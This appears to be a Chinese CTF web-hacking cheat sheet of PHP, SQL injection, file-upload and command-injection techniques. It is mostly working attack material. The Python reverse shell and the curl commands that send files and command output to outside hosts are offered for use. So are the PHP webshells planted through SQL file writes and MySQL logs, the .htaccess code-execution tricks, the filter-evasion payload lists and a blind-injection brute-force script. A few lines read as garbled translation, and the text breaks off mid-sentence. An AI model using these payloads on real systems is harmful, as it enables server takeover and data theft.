杂七乱八

7788

  • 伪ip

    Client-Ip: 127.0.0.1
    X-Forwarded-For: 127.0.0.1
    Host: 127.0.0.1
    x-forwarded-for: 127.0.0.1
    Client-ip: 127.0.0.1
    x-remote-IP: 127.0.0.1
    x-remote-ip: 127.0.0.1
    x-client-ip: 127.0.0.1
    x-client-IP: 127.0.0.1
    X-Real-IP: 127.0.0.1

  • referer

    referer: www.google.com

  • 备份文件

.rar、.zip、.7z、.tar、.gz、.tar.gz、.bz2、.tar.bz2、.sql、.bak、.dat、.txt、.log、.mdb、.phps、.sql

  • auto_prepend_file自动包含文件
    phpinfo里面找到flag的位置(自动包含的文件)

auto_prepend_file

  • 127.0.0.1

127.0.0.1中的0可以省略,即写成127.1,此时仍然与127.0.0.1等效,但是长度缩短
0.0.0.0特殊ip,可当作127.0.0.1,省去0为http://0/flag.php

  • curl

    外带文件

    curl -d "@1.txt" ndje3c.dnslog.cn
    curl -F file=@1.txt requestbin.cn/14805p31
    curl -T 1.txt requestbin.cn/14805p31

php尿性

调用函数

代码

<?php
class A{
    public $aaa;
    
    function tang($a){
        echo $a.'\n';
    }
}
$a = new A();
call_user_func(array($a,'tang'),'123');

$b = array($a,'tang');
$b('321');

function  asd($a){
    echo "asd".$a.'\n';
}
call_user_func('asd', 12);

?>


1.png

123\n321\nasd12\n

proc_open()

要使用proc_open函数,首先需要知道一些基本知识。这个函数接收一个命令行字符串作为参数,并将其作为子进程运行。这个命令行字符串可以是任何你想运行的命令或脚本,比如文件传输、SSH、telnet等。一旦子进程被打开,就可以通过proc_open函数返回的句柄来读取它们的输出,并在需要的时候关闭它们。

下面是一个使用proc_open函数的简单例子,该示例运行了ls命令并将其输出存储到一个变量中:

$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error-output.txt", "a")
);
$process = proc_open('ls -l', $descriptorspec, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
proc_close($process);
echo $output;
}

pcntl_exec()

使用pcntl_exec 的前提是开启了pcntl 插件。

pcntl_exec(string $path,array $args=?,array$envs=?)

//path:必须时可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本
//args是一个要传递给程序的参数的字符串数组
//envs是一个要传递给程序作为环境变量的字符串数组。这个数组是key=>value格式的,key代表要传递的环境变量的名称,value代表该环境变量值
//在当前进程空间执行指定程序

比如:(打不过去可以编个码)

pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("1.1.1.1",29999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));
<?php
$f = '/tmp/out.txt';
switch (pcntl_fork()) {
    case 0:
        pcntl_exec('/bin/bash', ['-c', 'id > ' . $f]);
        exit(0);
    default:
        break;
}

sleep(1);
readfile($f);
unlink($f);
?>
pcntl_exec("/bin/bash", array("/tmp/test.sh"));

create_function

php里默认命名空间是\,所有原生函数和类都在这个命名空间中
调用该函数需要前面加斜杠 /create_function()
该函数自PHP 7.2起已经弃用

$a('',$b);
?a=\create_function&b=}system('cat /flag');/*

匿名函数(anonymous class)

$obj=new class{};
// class名为: 'class@anonymous'+chr(0)+php文件路径+':'+行数$列数
echo get_class($obj);

比如:

<?php
if (isset($_GET['ezphpPhp8'])) {
    highlight_file(__FILE__);
} else {
    die("No");
}
$a = new class {
    function __construct()
    {
    }

    function getflag()
    {
        system('cat /flag');
    }
};
unset($a);
$a = $_GET['ezphpPhp8'];
$f = new $a();
$f->getflag();
?>

名字就应该是

/flag.php?ezphpPhp8=class%40anonymous%00%2Fvar%2Fwww%2Fhtml%2Fflag.php%3A7%240

行数好说,列数不行就遍历一下

true与非零非NULL变量比较

布尔类型True与非零非NULL变量比较都会是True

NULL,0,”0″,array()使用==和false比较时,都是会返回true的

open_basedir 绕过

shell命令执行

shell命令不受open_basedir的影响

利用ini_set()和chdir

<?php
    show_source(__FILE__);
    print_r(ini_get('open_basedir').'<br>');
    //修改open_basedir
    mkdir('test');
    chdir('test');
    ini_set('open_basedir','..');
    chdir('..');
    chdir('..');
    chdir('..');
    ini_set('open_basedir','/');
    
    echo file_get_contents('/etc/hosts');
?>

若open_basedir限定到了当前目录,就需要新建子目录,进入设置其为…,若已经是open_basedir的子目录就不需要,因为限定到了当前目录再设置为…就会出错。之后每次引用路径就会触发open_basedir判别,而在解析open_basedir的时候会拼接上…,从而引发open_basedir自身向上跳一级,最后跳到了根目录,再将open_basedir设置到根目录即可。

利用symlink()

符号连接又叫软链接,是一类特殊的文件,这个文件包含了另一个文件的路径名(绝对路径或者相对路径)。路径可以是任意文件或目录,可以链接不同文件系统的文件。在对符号文件进行读或写操作的时候,系统会自动把该操作转换为对源文件的操作,但删除链接文件时,系统仅仅删除链接文件,而不删除源文件本身。

symlink建立符号链接。
symlink(string $target, string $link): bool
symlink() 对于已有的 target 建立一个名为 link 的符号连接。
target
连接的目标。
link
连接的名称。
返回值 
成功时返回 true, 或者在失败时返回 false。
<?php
    show_source(__FILE__);
    
    mkdir("1");chdir("1");
    mkdir("2");chdir("2");
    mkdir("3");chdir("3");
    mkdir("4");chdir("4");
    
    chdir("..");chdir("..");chdir("..");chdir("..");
    
    symlink("1/2/3/4","test");
    symlink("test/../../../../etc/hosts","flag");
    unlink("test");
    mkdir("test");
    echo file_get_contents("flag");
?>
当前路径是/www/wwwroot/test/,新建目录数量=需要上跳次数+1

symlink会生成了符号连接,我们需要访问/etc/hosts,那么就需要上调3个目录,加上当前的目录,就是4个目录,所以使用mkdir和chdir创建四个目录。然后生成软链接symlink("1/2/3/4","test"),然后再生成 symlink("test/../../../../etc/hosts","flag"),之后就用mkdir将软链接换成文件夹test。
所以,最后访问的就是/www/wwwroot/test/../../../../etc/hosts,目录穿越,也就是/etc/hosts。

preg_replace()的/e模式存在命令执行漏洞

replace

<?php//**[BJDCTF2020]ZJCTF,不过如此**

function complex($re, $str) {
    return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}
//这里的\\1 也就是 \1 实际上指定的是第一个子匹配项
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

payload : ?\S*={${phpinfo()}}

为什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)。

这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
深入研究preg_replace与代码执行

intval()

格式:intval (var, base)

  • base: 可选,无则十进制
  • 如果 base 是 0,通过检测 var 参数的格式来决定使用的进制(0开头8进制,0x开头16进制)
1、获取变量的整数值
例如 4.2取4

2、传入的字符串存在字母时,只会取字母前面的数字
例如 6e123 取6

3、函数里面有运算式,会把e正确识别为科学计数法符号,并进行运算
例如 intval(1e1+1) = 11

4、在没有运算式时,只会取e前面的数字,并不会把e看做科学计数法符号
参考2

5、在传入的参数非数字字符时,一律返回0
例如:
intval('a')==0 intval('.')==0intval('/')==0
0与字符串进行弱比较返回值为true,详细请看松散比较表格

6、**非空数组返回1,空数组返回0**

strcmp()

strcmp(str1,str2)
该函数返回值:
0 - 如果两个字符串相等;>0 - 如果 string1 大于 string2

strcmp比较的是字符串类型,如果强行传入其他类型参数(例如:传入数组类型 str1[]=666),会出错,出错后返回值0,正是利用这点进行绕过

include()

即使路径中的头目录不存在,也可以正确执行包含目标文件
例如: hint.php?/../../../flag.php
hint.php?这个目录不存在,但仍能够往上跳转4级目录,去包含flag.php
readfile()同样

命令执行函数

有回显:system() passthru()

无回显:exec() shell_exec() 或者`` 反引号

无回显函数需要添加echo 输出 exec只返回最后一行内容 ,shell_exec()返回完整内容

在题目中如果没有echo的话,需要利用curl来实现数据的外带

php特性

正则

正则表达式的\S:匹配所有非空白字符;
//[\s\S]* 是完全通配的意思,\s 是指空白,包括空格、换行、Tab 缩进等所有的空白,而 \S 刚好相反
.号:匹配除\n外的任意字符;
*号:匹配前面的字符0次或者多次
+号:匹配前面的字符1次或者多次(如果要在url里输入+号,必须要对其进行编码,+号编码为:%2b)
?R:递归

nginx配置文件信息

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

HASH长度扩展攻击

<?php
highlight_file(__FILE__);
include "./secret_key.php";
include "./salt.php";
//$salt = XXXXXXXXXXXXXX // the salt include 14 characters
//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df
@$username = urldecode($_POST["username"]);
@$password = urldecode($_POST["password"]);
if (!empty($_COOKIE["digest"])) {
    if ($username === "admin" && $password != "root") {
         if ($_COOKIE["digest"] === md5($salt.$username.$password)) {
            die ("The secret_key is ". $secret_key);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("no no no");
    }
}

使用HashPump,附加数据至少1位以上:

─#  hashpump
Input Signature: e6ccbf12de9d33ec27a5bcfb6a3293df
Input Data: root
Input Key Length: 19
Input Data to Add: pcat
2172da389aa982830f221675fd46b1d2
root\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00pcat

然后把后面那一堆当password提交即可

SQL注入

整形注入

?id=1000 但要求intval($id) < 999

  • ?id=500/0.5 |250*4
  • ?id=1 or id=1000
  • ?id=power(10,3)
  • ?id=~~1000 两次取反
  • ?id="1000"
  • ?id=0000%5E1000
  • ?id=0b1111101000 (1000的二进制1111101000,0b开头)
  • ?id=0x3E8 (16进制,核心在于intval()函数 根据官方文档https://www.php.net/manual/en/function.intval.php 可知, 该函数的第二个参数默认为10, 即只要遇到非数字转换就会暂停. 给出0x的开头后, 会识别出0. 因此直接给出1000的16进制0x3E8即可)
  • ?id=125<<3 (左移符号)
  • ?id='1000'

'1000'原理


本来根据对intval的理解他会将 intval('1000') 转换成1000,所以使用'1000' 是没法绕过的。
但是发现实际上是可以进行绕过
原理是用户通过GET请求发送内容实际上是一个String类型值
所以当用户输入1000后,id的值实际上是string(4) "1000"
这样带入到intval也就是
intval("1000")
然后会转换成int 1000
但当用户输入 '1000' 的时候
实际上传入的是
string(6) "'1000'"
带入进intval中也就是
intval("'1000'")
这样就会识别为int(0),从而绕过

文件读写注入

查看网站路径

?id=-1' union select 1,@@basedir,@@datadir --+
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
通过语句可以查看目录路径地址

写马函数

into outfile   可输出多行 原格式输出
into dumpfile   只能输出单行  没有特殊格式转换
load_file()

格式

?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs\\eval.php" --+

存在 报错但写入仍然成功的情况

文件读写注入

报错注入

updatexml()  更新xml文档的函数
updatexml(目标xml内容,xml路径,更新的内容)
updatexml(1,concat('!',database(),'!'),1) 由于特殊字符报错带出中间查询内容  0x7e是~
形成原因:updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数不符合规则,但会将括号内的执行结果以错误的形式报出,实现报错注入。


?inject=0'and extractvalue(1,(concat('~',database())))%23

?id=1' union select 1,2,updatexml(1,concat('!',(database()),'!'),1) -- +

长度限制

updatexml() 函数的报错内容长度不能超过32个字符,常用的解决方式有两种:

  • limit 分页
?id=-1' and updatexml(1,concat(0x7e,(select user from mysql.user limit 1,1),0x7e),3) -- a
  • substr()截取字符
?id=-1' and updatexml(1,concat(0x7e,substr((select group_concat(user)from mysql.user), 1 , 31),0x7e),1) -- a

其他报错函数


5.5<mysql版本<5.6

and geometrycollection((select * from(select * from (操作代码)a)b))
select polygon((select * from (select * from (select @@version) f) x));
and multipoint((select * from(select * from(操作代码)a)b))
and multlinestring((select * from (操作代码)a)b))
and multipolygon((select * from(select * from(操作代码)a)b))
and linestring((select * from(select * from(操作代码)a)b))

盲注

Length()函数 返回字符串的长度
substr()截取字符串,偏移是从1开始,而不是0开始
ascii()返回字符的ascii码
count(column_name)函数返回指定列的值的数目(NULL 不计入)

if(,,)平替elt(1>2,sleep(5));

mysql> select elt(1<2,sleep(4));
+-------------------+
| elt(1<2,sleep(4)) |
+-------------------+
| 0                 |
+-------------------+
1 row in set (4.00 sec)

mysql> select elt(1>2,sleep(4));
+-------------------+
| elt(1>2,sleep(4)) |
+-------------------+
| NULL              |
+-------------------+
1 row in set (0.00 sec)

?id=1' and if(length(database()))=?,sleep(5),1) --+ 时间延迟注入,正确会存在延迟,错误就不存在延迟

**BENCHMARK(count,expr)**
BENCHMARK()函数反复countTimes次执行表白式expr,它可以用于计时MySQL处置抒发式有多快。结果值老是0。意欲用于mysql客户,它讲演查询的执行时间。

该语句直接在select 子句中调用benchmark,如果username值中的字符ascii码值即是97 则benchmark将会执行。
id=1 union select 1,benchmark(1000000,md5('test')),1 from user where userid1 and ord(substring(username,1,1))97 

或者如果密码的第一个字符是A 则benchmark将会履行。
id=1 union select if(substring(password,1,1)'A',benchmark(10000000,sha(1)),0) username,password from cms_users where username 'admin'/.

笛卡尔积
原理是用到一些消耗资源的方式让数据库的查询时间尽量变长,而消耗数据库资源的最有效的方式就是让两个大表做笛卡尔积。

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C ,information_schema.SCHEMATA D;
+-----------+
| count(*)  |
+-----------+
| 704583936 |
+-----------+
1 row in set (22.83 sec)

RLIKE REGEXP正则匹配

select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
 ​
 正则语法:
 . : 匹配任意单个字符
 * : 匹配0个或多个前一个得到的字符
 [] : 匹配任意一个[]内的字符,[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。
 ^ : 匹配开头,如^s匹配以s或者S开头的字符串。
 $ : 匹配结尾,如s$匹配以s结尾的字符串。
 {n} : 匹配前一个字符反复n次。

 RPAD(str,len,padstr)
 用字符串 padstr对 str进行右边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len',那么它将被截除到 len个字符。
 mysql> SELECT RPAD('hi',5,'?'); -> 'hi???'
 ​
 repeat(str,times)  复制字符串times次
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
以上代码等同于 sleep(5)


存在True和False两种页面

?id=1' or (length(database())=8)--+

堆叠注入

?id=1';union select 1,2,3;show databases;show tables;#

#desc查看表结构(`查看column`)的详细信息 此处desc是describe的缩写,用法: desc 表名/查询语句
desc table_name;

表名为数字时,要用反引号包起来查询

二次注入

原理
UPDATE users SET passwd="New_Pass" WHERE username =' admin'# ' AND password=''

UPDATE users SET passwd="New_Pass" WHERE username =' admin'

关键字过滤

  1. 双写

aandnd

  1. 替换

    and=&& %26%26
    or=||

空格 +、/**/、%0a、%0b、%0c、%0d、%09(php)、%a0、E0、.0、()
等于号 like in、regexp

  1. 注释

闭合前段后加;
%00 '**and '1'='1
jave正则匹配

sel<>ect 程序过滤<>为空 脚本处理
sele//ct 程序过滤//为空
/!%53eLEct/ url编码与内联注释
se%0blect 使用空格绕过
sele%ct 使用百分号绕过
%53eLEct 编码绕过
大小写 :
uNIoN sELecT 1,2
union all select 1,2
union DISTINCT select 1,2
null+UNION+SELECT+1,2
/!union//!select/1,2
union//select//1,2
and(select 1)=(Select 0xA1000)/!uNIOn*//!SeLECt/ 1,user()
/!50000union//!50000select/1,2
/!40000union//!40000select/1,2
%0aunion%0aselect 1,2
%250aunion%250aselect 1,2
%09union%09select 1,2
%0caunion%0cselect 1,2
%0daunion%0dselect 1,2
%0baunion%0bselect 1,2
%0d%0aunion%0d%0aselect 1,2
–+%0d%0aunion–+%0d%0aselect–+%0d%0a1,–+%0d%0a2
/!12345union//!12345select/1,2;
/中文/union/中文/select/中文/1,2;
/输入法表情 /union/ 输入法表情/select/* 输入法表情 /1,2;
/!union*//!00000all//!00000select/1,2

无列名注入

无列名注入
正常的查询:select * from users;
2024-01-26T15:39:39.png
查询的时候一定要和表的列数相同 select 1,2,3 union select * from users;
2024-01-26T15:39:50.png
若可用 ` 的话

select `3` from (select 1,2,3 union select * from users)a;

若不可用的话也可以用别名来代替

select b from (select 1,2,3 as b union select * from users)a;

那么即可构造payload如下

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

Quine注入

1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#


Y'union/**/select/**/replace(REPLACE('Y"union/**/select/**/replace(REPLACE(".",0x22,0x27),0x2e,".")#',0x22,0x27),0x2e,'Y"union/**/select/**/replace(REPLACE(".",0x22,0x27),0x2e,".")#')#

0x、char、chr三个等价

REGEXP注入

REGEXP注入,即regexp正则表达式注入。REGEXP注入,又叫盲注值正则表达式攻击。应用场景就是盲注,原理是直接查询自己需要的数据,然后通过正则表达式进行匹配。

?id=0'or database() regexp '^s' %23        判断数据库是否以s开头
?id=0'or database() regexp 'ity$' %23      从末尾开始匹配




regexp '^[a-z]'  #判断一个表的第一个字符串是否在a-z中
regexp '^r'      #判断第一个字符串是否为r
regexp '^r[a-z]' #判断一个表的第二个字符串是否在a-z中
?id=0'or database() regexp binary'^S' %23    binary匹配大小写

如果过滤了=、in、like可以考虑

附一个脚本


似乎还要转换十六进制(十六进制在sql查询的时候会默认转回字符串)

import requests
import string

def str2hex(string):
  result = ''
  for i in string:
    result += hex(ord(i))
  result = result.replace('0x','')
  return '0x'+result

strs = string.ascii_letters+string.digits
url = "http://24ecdd20-0f00-4da5-b786-b7e5b04e0eb3.challenge.qsnctf.com:8081/login.php"
headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
payload = 'or password regexp binary {}#'
if __name__ == "__main__":
    name = ''
    for i in range(1,40):
        for j in strs:
            passwd = str2hex('^'+name+j)
            payloads = payload.format(passwd)
            postdata={
                'username':'admin\\',
                'password':payloads
            }
            r = requests.post(url,data=postdata,headers=headers)
            if "Maybe you are right" in r.text:
                name += j
                print(j,end='')
                break

其他

LOAD_FILE(file_name)

/view.php?no=0 union/**/select 1,load_file('/var/www/html/flag.php'),3,4 -- +


读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。
如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

可以用char()函数或者把字符转换成16进制。


我们构造$id为:

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))"
char(99,58,47,98,111,111,116,46,105,110,105)"就是"c:/boot.ini"的ASCII代码。

我们的查询语句就变成:

select * from article where articleid=-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

这样我们也可以成功读取boot.ini文件,还有把字符转换为16进制的:

"c:/boot.ini"的十六进制是"0x633a2f626f6f742e696e69",16进制前需要加0x

所以上面的语句就变成:

select * from article where articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)

case when

CASE

WHEN condition1 THEN result1
WHEN condition2 THEN result2
(CASE/**/WHEN/**/ASCII(mid(concat(({sql})),{pos},1))^{i}/**/THEN/**/0/**/ELSE/**/BENCHMARK(8000000,md5(1))/**/END)

提权

general_log指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
general_log_file 指的是日志的保存路径。

show global variables like "%general\_log%";
set global general_log='on';
set global general\_log\_file='/var/www/html/1.php';

show global variables like '%secure%';查看可以写入的磁盘。
(1)当secure_file_priv为空,就可以写入磁盘的目录。
(2)当secure_file_priv为G:\,就可以写入G盘的文件。

慢日志注入

set global slow_query_log=1;
SET GLOBAL slow_query_log_file='/var/www/html/shell.php';
select '<?php eval($_GET[a])?>' or SLEEP(11);

文件上传

首先祭出大杀器

<?php eval($_POST['a']) ?>

绕过

  • 大小写
  • 双写
  • windows对文件名自动去掉点 空格 ::$DATA(这个是ntfs的特性)
  • php123456 phtml pht
  • 00截断

在进行move_uploaded_file的时候,这个函数读取到hex值为00的字符,认为读取结束,出现00截断。

条件:
php版本小于5.3.4
关闭magic_quotes_gpc
  • Apache文件解析机制

结合Apache文件解析机制,从右向左开始解析文件后缀,若后缀名不可识别则继续判断直到遇到可解析的后缀为止。

123.php.xxx.abc
  • Nginx PHP CGI解析漏洞

因为Nginx的特性,当我们访问phpinfo.jpg/1.php 如果PHP中开启了fix_pathinfo这个选项,PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了,只要URL中路径名以.php结尾,直接交给php处理 。

应用范围:phpstudy <= 8.1.0.7 phpstudy 存在 nginx php cgi 解析漏洞
/x.jpg/shell.php
/x.jpg/.php
/x.jpg%00.php
/x.jpg/%20\shell.php 
  • IIS 5.0 和 6.0 解析漏洞

服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件。

.user.ini

上传.user.ini文件覆盖php.ini文件配置

使用auto_prepend_file与auto_append_file在所有php页面的顶部与底部require文件
auto_prepend_file=1.png #与.user.ini配置文件同目录的php文件都会在顶部require('1.png')

.htaccess

上传.htaccess文件覆盖apache文件配置

SetHandler application/x-httpd-php 此时当前目录及其子目录下所有文件都会被当做 php 解析

AddType application/x-httpd-php .php .phtml .php3 .png #把png文件当作php文件解析

AddHandler php5-script php  #当文件名中出现php关键字时,文件中的内容会被当中代码执行

<FilesMatch "ajest">
  SetHandler application/x-httpd-php
</FilesMatch>  #匹配文件名,当文件名为ajest时,里面的代码会被执行

绕过文件内容就检查

AddType application/x-httpd-php .abc 
php_value auto_append_file “php://filter/convert.base64-decode/resource=shell.abc” 
把后缀.abc当作php解析,然后shell.abc的内容用base64解码。比如加密变成PD9waHAgcGhwaW5mbygpOz8+

php_value auto_prepend_file /flag     预包含
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
    phpfile = open(filename, 'wb')

    phpfile.write(script.encode('utf-16be'))
    phpfile.write(SIZE_HEADER)

    phpfile.close()

def generate_htacess():
    htaccess = open('.htaccess', 'wb')

    htaccess.write(SIZE_HEADER)
    htaccess.write(b'AddType application/x-httpd-php .south\n')
    htaccess.write(b'php_value zend.multibyte 1\n')
    htaccess.write(b'php_value zend.detect_unicode 1\n')
    htaccess.write(b'php_value display_errors 1\n')

    htaccess.close()

generate_htacess()
generate_php_file("webshell.south", "<?php eval($_GET['cmd']); die(); ?>")

条件竞争

<?php 
fputs(fopen('../shell.php','w'),'<?php phpinfo();?>');
?>

利用成功上传到删除文件的时间差,上传一个.php文件,在未删除之前立即访问,则会自动生成一个新php文件,新文件不会被删除。

getimagesize()绕过

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。

.htaccess文件的注释符为#

所以可以在在前面或者后面加上

#define width 1
#define height 1

.htaccess利用

#自己包含(.htaccess中即可查看flag)
SetHandler application/x-httpd-php
php_value auto_append_file "php://filter/convert.base64-encode/resource=/flag"
#define width 1
#define height 1

如果.htaccess拒绝访问,可以

<Files ~ "^.ht">
 Require all granted
 Order allow,deny
 Allow from all
</Files>

Tips

<?=`whoami`;  相当于
<?echo `whoami`; //过滤括号、=

RCE

LINUX系统的管道符

1," ; ": 执行完前面的语句在执行后面的语句。
2.“ | “: 显示后面的语句的执行结果。
3.” || “:当前的语句执行出错时,执行后面的语句。
4.” & “:两条命令都执行,如果前面语句为假则执行后面的语句,前面的语句可真可假。
5.” && “:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则执行两条命令,前面的语句只能为真。

windows系统管道符


" | " :是直接后面的执行语句
“ || ” :如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才能执行。
" & "两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
" && ":如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

命令

eval() 将字符串作为php代码执行
system()将字符串作为命令执行
exec()不回显,需要执行命令后保存到文件中 tac /fl''ag |tee 1.txt
ls是列举目录
dir命令和ls基本上是一样的,只不过用ls写入文件中时,每个文件名都是单独一行,它会自动换行,这会影响我们后面命令的执行,但dir就会全部写入一行中,并且会自动加空格
cat就是打开文件的意思 tac nl less more
strings打印字符串
head:查看头几行
tail:查看尾几行
sort:可以查看
uniq:可以查看
file -f:报错出具体内容,可以查看内容
od:以二进制的方式读取档案内容 -b八进制 -c原文 od -t d1 file以ascii码输出
rev 反过来输出文件内容
diff --recursive / /home读目录
find / -print 读目录
ln -s / /var/www/html/aaa 读文件
dd if=/flag 读文件
eval xxxxx 把字符串当命令执行
/usr/bin/bzip2 flag.php (flag.php.bz2直接下载,记得通配大法/???/???/????2 ????.???)
tee命令用于读取标准输入的数据,并将其内容输出成文件
>在linux下,>可以实现创建文件的功能,并且前面可以执行任何命令,然后将命令执行的结果通过>写入到文件中
sh命令会将文件中的内容当作命令来执行,比如说sh d就会将文件d中的内容当作命令来执行

绕过

  • 中间加入符号
    fl''ag 或 fl""ag 或 l\s 或 c\a\t /flag
  • 利用Shell 特殊变量绕过
    ca$@t flag
    ca$*t flag

两个字母之间反斜杠\只能加一个,双引号"和反引号`因为要闭合所以只能加偶数个

  • 拆分命令绕过

    ls -> a=l;b=s;$a$b
    cat /flag -> a=ag;b=fl;cat /$b$a;

  • 过滤空格

空格可以用以下字符代替:< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS、{cat,flag}等

$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,因此这里加一个{}就固定了变量名。
同理,在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

  • 过滤目录分隔符/

采用多个命令即可

?ip=;cd flag_is_here;cat f*;
?ip=;cd flag_is_here&&ls
  • 过滤分隔符;

可以使用%0a代替,%0a其实在某种程度上是最标准的命令链接符号
换行符 %0a ?cmd=123%0als
回车符 %0d ?cmd=123%0dls

可以用?>代替;

无回显RCE

常用

cat flag|tee 1.txt
copy flag.php 1.txt        //复制
mv flag.php flag.txt    //改名
cat flag.php > flag.txt
tar cvf flag.tar flag.php    //压缩
tar zcvf flag.tar.gz flag.php
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php 
echo "<?php @eval(\$_POST[123]); ?>" > webshell.php    //写入webshell

dnslog外带数据法

好高大上的名字,其实是用反引号内联执行再curl网址,从而带出执行的结果

curl http://blog.187.ink/`ls /|sed -n '1p'`

但只会显示第一条结果,需要用到sed命令,就可以实现对执行结果的完美划分。
sed.png
payload:

127.0.0.1|curl$IFS$9http://blog.187.ink/`ls$IFS$9/|sed$IFS$9-n$IFS$9'6p'`
127.0.0.1|curl$IFS$9http://blog.187.ink/`tail$IFS$9/fl?g_is_here_haha`

results.jpg

无字母数字rce

异或

exp

<?php
$shell="assert";
$r1="";
$r2="";
for($n=0;$n<strlen($shell);$n++){
   for($i=0;$i<126;$i++){
       for($j=0;$j<126;$j++){
           if(preg_match('/[0-9]|[a-z]/i',chr($i)) || preg_match('/[0-9]|[a-z]/i',chr($j))){
               break;
           }
           $a=chr($i)^chr($j);
           if($a==$shell[$n]){
               $r1.=chr($i);
               $r2.=chr($j);
               break 2;
           }
       }
   }
}

echo urlencode($r1);
echo "<br>";
echo urlencode($r2);
?>

//适用于php5
a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F'
拼接起来:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');  // $_=assert
$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');  // $__=_POST
$___=$$__; //$___=$_POST
$_($___[_]);//assert($_POST[_]);
放到一排就是:
